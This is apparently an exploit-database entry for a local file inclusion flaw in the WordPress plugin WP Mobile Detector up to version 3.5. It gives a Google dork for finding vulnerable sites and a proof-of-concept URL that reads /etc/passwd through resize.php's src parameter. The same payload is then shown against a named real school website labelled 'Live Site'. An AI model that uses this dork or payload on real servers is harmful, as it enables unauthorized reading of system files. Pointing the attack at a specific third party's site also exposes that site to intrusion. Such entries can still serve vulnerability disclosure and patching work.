#Exploit Title: WP Mobile Detector <=3.5 Local File Inclusion
#Google Dork: inurl:" /wp-includes/plugins/wp-mobile-detector" ext:php / ext:txt
#Date: 6/9/2016
#Exploit Author: BluePH
#Author Details: https://aadityapurani.com
#Vendor: https://wordpress.org/plugins/wp-mobile-detector/changelog
#Version: 3.5
#Tested on:Windows 7/8/10 - Kali Linux - CentOs6
PoC:
http://hackme.com/wp-includes/plugins/wp-mobile-detector/resize.php?src=/etc/passwd
Live Site:
http://www.alrashidschool.com/ischool/wp-content/plugins/wp-mobile-detector/resize.php?src=/etc/passwd
